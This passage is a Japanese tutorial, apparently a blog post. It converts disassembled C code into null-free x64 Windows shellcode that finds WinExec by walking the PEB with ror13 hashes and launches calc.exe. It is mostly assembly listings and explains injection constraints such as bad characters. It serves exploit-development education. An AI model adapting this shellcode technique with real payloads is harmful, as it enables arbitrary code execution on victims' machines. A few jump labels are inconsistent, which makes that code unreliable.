0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Windowsで動くx64のシェルコードを書く【2】

Posted at

はじめに

こんにちは、今回はWindowsで動くx64のシェルコードを作ります。
具体的には、WinExec関数から電卓を起動するプログラムをシェルコードとして作成します。

この記事は前回の続きです。手順1で電卓を起動するCプログラムを作成しましたが、手順2ではそれを逆アセンブルし、シェルコードへ改変します。

手順2:シェルコードへの変換

作成したプログラムを逆アセンブルします。逆アセンブラには、GCCのobjdumpを使用しました。GCCのWindows用のツールセットは公式HPから入手できます。

逆アセンブル結果からテキストセクション(.text)だけを取り出し、シェルコードへ改変します。
先に結果を示します。

逆アセンブルコマンド
objdump -M intel -D shellcode_x64_windows.exe
テキストセクションの抜粋
Disassembly of section .text:

0000000140001000 <.text>:
 140001005:   48 89 6c 24 10          mov    QWORD PTR [rsp+0x10],rbp
 14000100a:   48 89 74 24 18          mov    QWORD PTR [rsp+0x18],rsi
 14000100f:   48 89 7c 24 20          mov    QWORD PTR [rsp+0x20],rdi
 140001014:   41 56                   push   r14
 140001016:   48 83 ec 20             sub    rsp,0x20
 14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
 140001021:   00 00
 140001023:   33 db                   xor    ebx,ebx
 140001025:   44 8b f3                mov    r14d,ebx
 140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
 14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
 140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
 140001033:   4d 3b d3                cmp    r10,r11
 140001036:   74 5f                   je     0x140001097
 140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 14000103f:   00
 140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
 140001044:   4d 85 c9                test   r9,r9
 140001047:   74 40                   je     0x140001089
 140001049:   8b c3                   mov    eax,ebx
 14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
 140001052:   48 ff c2                inc    rdx
 140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
 14000105a:   75 f6                   jne    0x140001052
 14000105c:   4c 8b c3                mov    r8,rbx
 14000105f:   48 85 d2                test   rdx,rdx
 140001062:   74 25                   je     0x140001089
 140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
 140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 14000106f:   00
 140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
 140001075:   49 ff c0                inc    r8
 140001078:   c1 c8 0d                ror    eax,0xd
 14000107b:   03 c1                   add    eax,ecx
 14000107d:   4c 3b c2                cmp    r8,rdx
 140001080:   72 ee                   jb     0x140001070
 140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
 140001087:   74 0a                   je     0x140001093
 140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
 14000108c:   4d 3b d3                cmp    r10,r11
 14000108f:   75 af                   jne    0x140001040
 140001091:   eb 04                   jmp    0x140001097
 140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
 140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
 14000109b:   44 8b d3                mov    r10d,ebx
 14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88]
 1400010a5:   00
 1400010a6:   49 03 ce                add    rcx,r14
 1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
 1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
 1400010b0:   4d 03 de                add    r11,r14
 1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
 1400010b6:   49 03 f6                add    rsi,r14
 1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
 1400010bc:   49 03 ee                add    rbp,r14
 1400010bf:   85 ff                   test   edi,edi
 1400010c1:   74 63                   je     0x140001126
 1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
 1400010c6:   4d 03 ce                add    r9,r14
 1400010c9:   74 3f                   je     0x14000110a
 1400010cb:   8b cb                   mov    ecx,ebx
 1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
 1400010d4:   48 ff c2                inc    rdx
 1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
 1400010db:   75 f7                   jne    0x1400010d4
 1400010dd:   4c 8b c3                mov    r8,rbx
 1400010e0:   48 85 d2                test   rdx,rdx
 1400010e3:   74 25                   je     0x14000110a
 1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0]
 1400010ec:   00 00 00 00
 1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
 1400010f5:   49 ff c0                inc    r8
 1400010f8:   c1 c9 0d                ror    ecx,0xd
 1400010fb:   03 c8                   add    ecx,eax
 1400010fd:   4c 3b c2                cmp    r8,rdx
 140001100:   72 ee                   jb     0x1400010f0
 140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
 140001108:   74 0e                   je     0x140001118
 14000110a:   41 ff c2                inc    r10d
 14000110d:   49 83 c3 04             add    r11,0x4
 140001111:   44 3b d7                cmp    r10d,edi
 140001114:   72 ad                   jb     0x1400010c3
 140001116:   eb 0e                   jmp    0x140001126
 140001118:   41 8b c2                mov    eax,r10d
 14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
 14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0]
 140001123:   49 03 de                add    rbx,r14
 140001126:   33 d2                   xor    edx,edx
 140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]        # 0x140002240
 14000112f:   ff d3                   call   rbx
 140001131:   48 8b 5c 24 30          mov    rbx,QWORD PTR [rsp+0x30]
 140001136:   33 c0                   xor    eax,eax
 140001138:   48 8b 6c 24 38          mov    rbp,QWORD PTR [rsp+0x38]
 14000113d:   48 8b 74 24 40          mov    rsi,QWORD PTR [rsp+0x40]
 140001142:   48 8b 7c 24 48          mov    rdi,QWORD PTR [rsp+0x48]
 140001147:   48 83 c4 20             add    rsp,0x20
 14000114b:   41 5e                   pop    r14
 14000114d:   c3                      ret
 14000114e:   cc                      int3
 14000114f:   cc                      int3
 140001150:   cc                      int3
 140001151:   cc                      int3
 140001152:   cc                      int3
 140001153:   cc                      int3
 140001154:   cc                      int3
 140001155:   cc                      int3
 140001156:   66 66 0f 1f 84 00 00    data16 nop WORD PTR [rax+rax*1+0x0]
 14000115d:   00 00 00
 140001160:   48 3b 0d 99 1e 00 00    cmp    rcx,QWORD PTR [rip+0x1e99]        #      0x140003000
 140001167:   75 10                   jne    0x140001179
 140001169:   48 c1 c1 10             rol    rcx,0x10
 14000116d:   66 f7 c1 ff ff          test   cx,0xffff
 # 以下、省略
完成したシェルコード
shellcode_x64_windows.asm
.intel_syntax noprefix

.section .text
  .global _start
_start:
  xor rbx,rbx
  mov bl,0x60 #RBX = 0x0000000000000060
  mov rax,gs:[rbx] #RAX = GS:[0x60] = PEB
  xor rbx,rbx
  mov r14d,ebx
  mov rcx,QWORD PTR [rax+0x18] #RCX = imageBase
  mov r11,QWORD PTR [rcx+0x20] #R11 = start
  mov r10,QWORD PTR [r11] #R10 = entry
  cmp r10,r11
  je .end_of_dll
.dll_search:
  mov r9,QWORD PTR [r10+0x50] #R9 = DllName
  test r9,r9
  je .next_dll
  mov eax,ebx
  mov rdx,0xffffffffffffffff
.wcslen:
  inc rdx
  cmp WORD PTR [r9+rdx*2],ax
  jne .wcslen
  mov r8,rbx
  test rdx,rdx
  je .next_dll
.wror13:
  movzx ecx,WORD PTR [r9+r8*2]
  inc r8
  ror eax,0xd
  add eax,ecx
  cmp r8,rdx #if i == wcslen(DllName)
  jb .wror13
  cmp eax,0x6e2bca17 #if EAX == target
  je .dll_is_found
.next_dll:
  mov r10,QWORD PTR [r10] #entry = entry->Flink
  cmp r10,r11 #if entry == start
  jne .dll_search
  jmp .dll_is_found
.dll_is_found:
  mov r14,QWORD PTR [r10+0x20] #R14 = DllBase
.end_of_dll:
  movsxd rax,DWORD PTR [r14+0x3c] #RAX = NtHeader
  mov r10d,ebx #i = 0
  xor rbx,rbx
  mov bl,0x88
  add r14,rbx #R14 = R14+0x88
  mov ecx,DWORD PTR [rax+r14] #mov ecx,DWORD PTR [rax+r14*1+0x88] => mov ecx,DWORD    PTR [rax+r14]
  sub r14,rBX #R14 = R14-0x88
  xor rbx,rbx
  add rcx,r14 #RCX = ExportDirectory
  mov r11d,DWORD PTR [rcx+0x20]
  mov esi,DWORD PTR [rcx+0x24]
  add r11,r14 #R11 = rvaOfNameOrdinals
  xor r12,r12
  mov r12d,DWORD PTR [rcx+0x1c]
  add rsi,r14 #RSI = rvaOfNames
  mov edi,DWORD PTR [rcx+0x18] #RDI = NumberOfNames
  add r12,r14 #RBP = rvaOfFunctions
  test edi,edi
  je .exec_winexec
.func_search:
  mov r9d,DWORD PTR [r11]
  add r9,r14
  je .next_func
  mov ecx,ebx
  mov rdx,0xffffffffffffffff
.strlen:
  inc rdx
  cmp BYTE PTR [r9+rdx*1],cl
  jne .strlen
  mov r8,rbx
  test rdx,rdx
  je .next_func
.ror13:
  movsx eax,BYTE PTR [r9+r8*1]
  inc r8
  ror ecx,0xd
  add ecx,eax
  cmp r8,rdx #if R8 == strlen()
  jb .ror13
  cmp ecx,0xe8afe98 #if RCX == target
  je .func_is_found
.next_func:
  inc r10d #i++
  add r11,0x4
  cmp r10d,edi #if i > NumberOfNames
  jb .func_search
  jmp .exec_winexec
.func_is_found:
  mov eax,r10d
  movzx ecx,WORD PTR [rsi+rax*2]
  shl rcx,2
  add r12,rcx
  mov ebx,DWORD PTR [r12] #mov ebx,DWORD PTR [rbp+rcx*4+0x0] => shl rcx,2 add r12,rcx mov ebx,DWORD PTR [r12]
  add rbx,r14 #RBX = WinExec
.exec_winexec:
  xor rdx,rdx
  push rdx #push '\0'
  movabs rcx,0x6578652E636C6163 #"calc.exe"
  push rcx
  mov rcx,rsp
  add rsp,0x18 #Alignment
  call rbx #Call WinExec

シェルコードへ改変するために、下記の5つを実施します。

  1. プロローグとエピローグの削除
  2. ラベルの割り当て
  3. Bad Charactersの除去
  4. アライメントの調整
  5. バイトコードへの変換

以下、詳細な説明です。

プロローグ・エピローグの削除

Cプログラムでは、電卓を起動するプログラムをメイン関数の中に実装しました。メイン関数の前には、スレッドを初期化する関数などが既に呼ばれている訳で、当然メイン関数にもプロローグとエピローグが存在します。

図4.png
上図:メイン関数が呼ばれる直前のコールスタック。KERNEL32!BaseThreadInitThunkでcall命令が呼ばれ、いくつかのジャンプを経た後に、メイン関数へ到達する。

関数のプロローグやエピローグは、シェルコードでは不要のため削除します。また、電卓起動後の処理も、今回は不要のため削除します。

一般に、攻撃が成功した後の処理は、攻撃のシナリオを考えて慎重に決めなければいけません。今回は、攻撃対象のプログラムがクラッシュしてもよい前提で、攻撃成功後(電卓起動後)の処理をまるっと削除しました。

攻撃対象のプログラムにクラッシュしてほしくない場合(例えば、攻撃対象のホストで動くサービスプログラムを停止させることなく攻撃を成功させたい場合)、ExitThreadなどを使用して自分のスレッドのみを終了させる必要がありますが、ExitThreadKernel32.dllのエクスポート関数のため、WinExecと同様にPEBから関数アドレスを求める必要があります。

また、カーネルエクスプロイトを行う場合は、攻撃対象プログラムが継続して動作するように、元の場所へ復帰する処理を加える必要があります。

削除した結果を下記に示します。かなりシンプルになりました。

逆アセンブル結果2
Disassembly of section .text:

0000000140001000 <.text>:
 14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
 140001021:   00 00
 140001023:   33 db                   xor    ebx,ebx
 140001025:   44 8b f3                mov    r14d,ebx
 140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
 14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
 140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
 140001033:   4d 3b d3                cmp    r10,r11
 140001036:   74 5f                   je     0x140001097
 140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 14000103f:   00
 140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
 140001044:   4d 85 c9                test   r9,r9
 140001047:   74 40                   je     0x140001089
 140001049:   8b c3                   mov    eax,ebx
 14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
 140001052:   48 ff c2                inc    rdx
 140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
 14000105a:   75 f6                   jne    0x140001052
 14000105c:   4c 8b c3                mov    r8,rbx
 14000105f:   48 85 d2                test   rdx,rdx
 140001062:   74 25                   je     0x140001089
 140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
 140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 14000106f:   00
 140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
 140001075:   49 ff c0                inc    r8
 140001078:   c1 c8 0d                ror    eax,0xd
 14000107b:   03 c1                   add    eax,ecx
 14000107d:   4c 3b c2                cmp    r8,rdx
 140001080:   72 ee                   jb     0x140001070
 140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
 140001087:   74 0a                   je     0x140001093
 140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
 14000108c:   4d 3b d3                cmp    r10,r11
 14000108f:   75 af                   jne    0x140001040
 140001091:   eb 04                   jmp    0x140001097
 140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
 140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
 14000109b:   44 8b d3                mov    r10d,ebx
 14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88]
 1400010a5:   00
 1400010a6:   49 03 ce                add    rcx,r14
 1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
 1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
 1400010b0:   4d 03 de                add    r11,r14
 1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
 1400010b6:   49 03 f6                add    rsi,r14
 1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
 1400010bc:   49 03 ee                add    rbp,r14
 1400010bf:   85 ff                   test   edi,edi
 1400010c1:   74 63                   je     0x140001126
 1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
 1400010c6:   4d 03 ce                add    r9,r14
 1400010c9:   74 3f                   je     0x14000110a
 1400010cb:   8b cb                   mov    ecx,ebx
 1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
 1400010d4:   48 ff c2                inc    rdx
 1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
 1400010db:   75 f7                   jne    0x1400010d4
 1400010dd:   4c 8b c3                mov    r8,rbx
 1400010e0:   48 85 d2                test   rdx,rdx
 1400010e3:   74 25                   je     0x14000110a
 1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0]
 1400010ec:   00 00 00 00
 1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
 1400010f5:   49 ff c0                inc    r8
 1400010f8:   c1 c9 0d                ror    ecx,0xd
 1400010fb:   03 c8                   add    ecx,eax
 1400010fd:   4c 3b c2                cmp    r8,rdx
 140001100:   72 ee                   jb     0x1400010f0
 140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
 140001108:   74 0e                   je     0x140001118
 14000110a:   41 ff c2                inc    r10d
 14000110d:   49 83 c3 04             add    r11,0x4
 140001111:   44 3b d7                cmp    r10d,edi
 140001114:   72 ad                   jb     0x1400010c3
 140001116:   eb 0e                   jmp    0x140001126
 140001118:   41 8b c2                mov    eax,r10d
 14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
 14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0]
 140001123:   49 03 de                add    rbx,r14
 140001126:   33 d2                   xor    edx,edx
 140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]
 14000112f:   ff d3                   call   rbx

ラベルの割り当て

逆アセンブル結果には、jmpのオペランドに絶対アドレスが指定されています。これは、コンパイラが条件分岐後の行先を絶対アドレスへ解決し、オブジェクトファイルへ書き込んだためです。

通常、プログラムはロード時に再配置されるため、コンパイラが生成した絶対ドレスをそのまま使用することはできません。
ローダーによってプログラムが読み込まれる場合は、ローダーが再配置テーブルを参照して絶対アドレスを修正することで、プログラムが位置独立で動作することを保証します。しかし、シェルコードはそのままスタック領域などのメモリへ読み込まれるものであるため、絶対アドレスを放置することはできません。

そこで、絶対アドレスをラベルへ書き換える作業をします。
後々、このコードを適切なオプションを付けてアセンブルすることで、ラベルがPC相対アドレスに解決され、位置独立で動作するバイトコードになります。

ラベルとは、アドレスを保持するためにGNUアセンブラが使用する変数(シンボル)の一種です。基本的に、アドレスを書ける場所は全てラベルに置き換えることができます。厳密な定義はGNUアセンブラの公式ドキュメントに記載されています。日本語では、こちらの記事が非常に分かりやすく解説していました。

絶対アドレスをラベルへ置き換えた結果を下記に示します。
逆アセンブル結果を解読し、処理の流れが分かるようなラベル名を付けました。

逆アセンブル結果3
Disassembly of section .text:

0000000140001000 <.text>:
 14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
 140001021:   00 00
 140001023:   33 db                   xor    ebx,ebx
 140001025:   44 8b f3                mov    r14d,ebx
 140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
 14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
 140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
 140001033:   4d 3b d3                cmp    r10,r11
 140001036:   74 5f                   je     .end_of_dll
 140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 14000103f:   00
 .dll_search:
 140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
 140001044:   4d 85 c9                test   r9,r9
 140001047:   74 40                   je     .next_dll
 140001049:   8b c3                   mov    eax,ebx
 14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
 .wcslen:
 140001052:   48 ff c2                inc    rdx
 140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
 14000105a:   75 f6                   jne    .wcslen
 14000105c:   4c 8b c3                mov    r8,rbx
 14000105f:   48 85 d2                test   rdx,rdx
 140001062:   74 25                   je     .next_dll
 .wror13:
 140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
 140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 14000106f:   00
 140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
 140001075:   49 ff c0                inc    r8
 140001078:   c1 c8 0d                ror    eax,0xd
 14000107b:   03 c1                   add    eax,ecx
 14000107d:   4c 3b c2                cmp    r8,rdx
 140001080:   72 ee                   jb     wcslen
 140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
 140001087:   74 0a                   je     .dll_is_found
 .next_dll:
 140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
 14000108c:   4d 3b d3                cmp    r10,r11
 14000108f:   75 af                   jne    .dll_search
 140001091:   eb 04                   jmp    .dll_is_found
 .dll_is_found:
 140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
 .end_of_dll:
 140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
 14000109b:   44 8b d3                mov    r10d,ebx
 14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88]
 1400010a5:   00
 1400010a6:   49 03 ce                add    rcx,r14
 1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
 1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
 1400010b0:   4d 03 de                add    r11,r14
 1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
 1400010b6:   49 03 f6                add    rsi,r14
 1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
 1400010bc:   49 03 ee                add    rbp,r14
 1400010bf:   85 ff                   test   edi,edi
 1400010c1:   74 63                   je     .exec_winexec
 .func_search:
 1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
 1400010c6:   4d 03 ce                add    r9,r14
 1400010c9:   74 3f                   je     .next_func
 1400010cb:   8b cb                   mov    ecx,ebx
 1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
 .strlen:
 1400010d4:   48 ff c2                inc    rdx
 1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
 1400010db:   75 f7                   jne    .strlen
 1400010dd:   4c 8b c3                mov    r8,rbx
 1400010e0:   48 85 d2                test   rdx,rdx
 1400010e3:   74 25                   je     .next_func
 .ror13:
 1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0]
 1400010ec:   00 00 00 00
 1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
 1400010f5:   49 ff c0                inc    r8
 1400010f8:   c1 c9 0d                ror    ecx,0xd
 1400010fb:   03 c8                   add    ecx,eax
 1400010fd:   4c 3b c2                cmp    r8,rdx
 140001100:   72 ee                   jb     .ror13
 140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
 140001108:   74 0e                   je     .func_is_found
 .next_func:
 14000110a:   41 ff c2                inc    r10d
 14000110d:   49 83 c3 04             add    r11,0x4
 140001111:   44 3b d7                cmp    r10d,edi
 140001114:   72 ad                   jb     .func_search
 140001116:   eb 0e                   jmp    .exec_winexec
 .func_is_found:
 140001118:   41 8b c2                mov    eax,r10d
 14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
 14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0]
 140001123:   49 03 de                add    rbx,r14
 .exec_winexec
 140001126:   33 d2                   xor    edx,edx
 140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]
 14000112f:   ff d3                   call   rbx

Bad Charactersの除去

シェルコードには、使用できないバイトの種類が存在します。

例えば、攻撃のインターフェイスが文字列の入力欄である場合、シェルコードにナル文字('\0')が含まれていると、そのナル文字までしかコードが読み込まれず、攻撃が成功しません。また、HTTPのPOSTデータとしてシェルコードを送る場合、Line Feed('\n')が含まれていると、POSTデータが終端してしまい攻撃が成功しません。

このように、攻撃の都合でシェルコードに含められないバイトをBad Charactersと呼び、除去する必要があります。様々な除去方法が存在しますが、概ねの考え方は下記の通りです。

  • オペコードにBad Charactersが含まれている場合は、それらを含まない別の命令を組み合わせて元の処理を再現する。
  • オペランドの値にBad Charactersが含まれている場合は、別の値をレジスタへ代入して、レジスタに対して適当な演算命令を施し元の値を再現する。

何がBad Charactersに該当するかは攻撃対象プログラムによって変わります。攻撃対象プログラムが手元にある場合は、攻撃インターフェイスに検査用のバイト列(\x00\x01・・・\x99)を送り込み、どこまで入力されたかをデバッグ等で確認することで、特定できます。

今回は文字列の入力欄にシェルコードを流し込むことを想定し、ナルバイト(0x00)を除去します。ナルバイトが含まれている行にコメントを付けます。

逆アセンブル結果3(コメント付き)
Disassembly of section .text:

0000000140001000 <.text>:
   14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60 ### 該当箇所1 ###
   140001021:   00 00
   140001023:   33 db                   xor    ebx,ebx
   140001025:   44 8b f3                mov    r14d,ebx
   140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
   14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
   140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
   140001033:   4d 3b d3                cmp    r10,r11
   140001036:   74 5f                   je     .end_of_dll
   140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所2 ###
   14000103f:   00
   .dll_search:
   140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
   140001044:   4d 85 c9                test   r9,r9
   140001047:   74 40                   je     .next_dll
   140001049:   8b c3                   mov    eax,ebx
   14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   .wcslen:
   140001052:   48 ff c2                inc    rdx
   140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
   14000105a:   75 f6                   jne    .wcslen
   14000105c:   4c 8b c3                mov    r8,rbx
   14000105f:   48 85 d2                test   rdx,rdx
   140001062:   74 25                   je     .next_dll
   .wror13:
   140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0] ### 該当箇所3 ###
   140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所4 ###
   14000106f:   00
   140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
   140001075:   49 ff c0                inc    r8
   140001078:   c1 c8 0d                ror    eax,0xd
   14000107b:   03 c1                   add    eax,ecx
   14000107d:   4c 3b c2                cmp    r8,rdx
   140001080:   72 ee                   jb     wcslen
   140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
   140001087:   74 0a                   je     .dll_is_found
   .next_dll:
   140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
   14000108c:   4d 3b d3                cmp    r10,r11
   14000108f:   75 af                   jne    .dll_search
   140001091:   eb 04                   jmp    .dll_is_found
   .dll_is_found:
   140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
   .end_of_dll:
   140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
   14000109b:   44 8b d3                mov    r10d,ebx
   14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88] ### 該当箇所5 ###
   1400010a5:   00
   1400010a6:   49 03 ce                add    rcx,r14
   1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
   1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
   1400010b0:   4d 03 de                add    r11,r14
   1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
   1400010b6:   49 03 f6                add    rsi,r14
   1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
   1400010bc:   49 03 ee                add    rbp,r14
   1400010bf:   85 ff                   test   edi,edi
   1400010c1:   74 63                   je     .exec_winexec
   .func_search:
   1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
   1400010c6:   4d 03 ce                add    r9,r14
   1400010c9:   74 3f                   je     .next_func
   1400010cb:   8b cb                   mov    ecx,ebx
   1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   .strlen:
   1400010d4:   48 ff c2                inc    rdx
   1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
   1400010db:   75 f7                   jne    .strlen
   1400010dd:   4c 8b c3                mov    r8,rbx
   1400010e0:   48 85 d2                test   rdx,rdx
   1400010e3:   74 25                   je     .next_func
   .ror13:
   1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0] ### 該当箇所6 ###
   1400010ec:   00 00 00 00
   1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
   1400010f5:   49 ff c0                inc    r8
   1400010f8:   c1 c9 0d                ror    ecx,0xd
   1400010fb:   03 c8                   add    ecx,eax
   1400010fd:   4c 3b c2                cmp    r8,rdx
   140001100:   72 ee                   jb     .ror13
   140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
   140001108:   74 0e                   je     .func_is_found
   .next_func:
   14000110a:   41 ff c2                inc    r10d
   14000110d:   49 83 c3 04             add    r11,0x4
   140001111:   44 3b d7                cmp    r10d,edi
   140001114:   72 ad                   jb     .func_search
   140001116:   eb 0e                   jmp    .exec_winexec
   .func_is_found:
   140001118:   41 8b c2                mov    eax,r10d
   14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
   14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0] ### 該当箇所7 ###
   140001123:   49 03 de                add    rbx,r14
   .exec_winexec
   140001126:   33 d2                   xor    edx,edx
   140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111] ### 該当箇所8 ###
   14000112f:   ff d3                   call   rbx

以下、該当箇所ごとのナルバイト除去方法です。

該当箇所1

GSセグメントのオフセットを示す値(0x60)にナルバイトが含まれています。これは、オフセット値が32ビット(0x00000060)で解釈されたためです。一般に、命令(およびアドレス指定方式)の仕様でオペランドのサイズは定められており、それより桁が小さい値は上位ビットが0で穴埋めされます。このようなケースでは、レジスタで置き換える際に、下位ビットのみを指し示すレジスタを使用することでナルバイトを回避できます。

使用するレジスタは、全体の処理に影響を与えないものを選ぶ必要があります。今回は、RBXが全体を通して0x00としてしか扱われていなかったので、RBXを選びました。当該処理の後にRBXをxorする(0x00に戻す)ことで、他の処理へ影響を与えないようにしています。

movは、第一オペランドのレジスタに合わせて値の幅を決定します。BLはRBXの下位8ビットを指し示すレジスタであるため、0x60はそのまま8ビットで解釈され、上位ビットは穴埋めされません。

- mov    rax,QWORD PTR gs:0x60 ### 該当箇所1 ###
+ xor    rbx,rbx      #RBX = 0
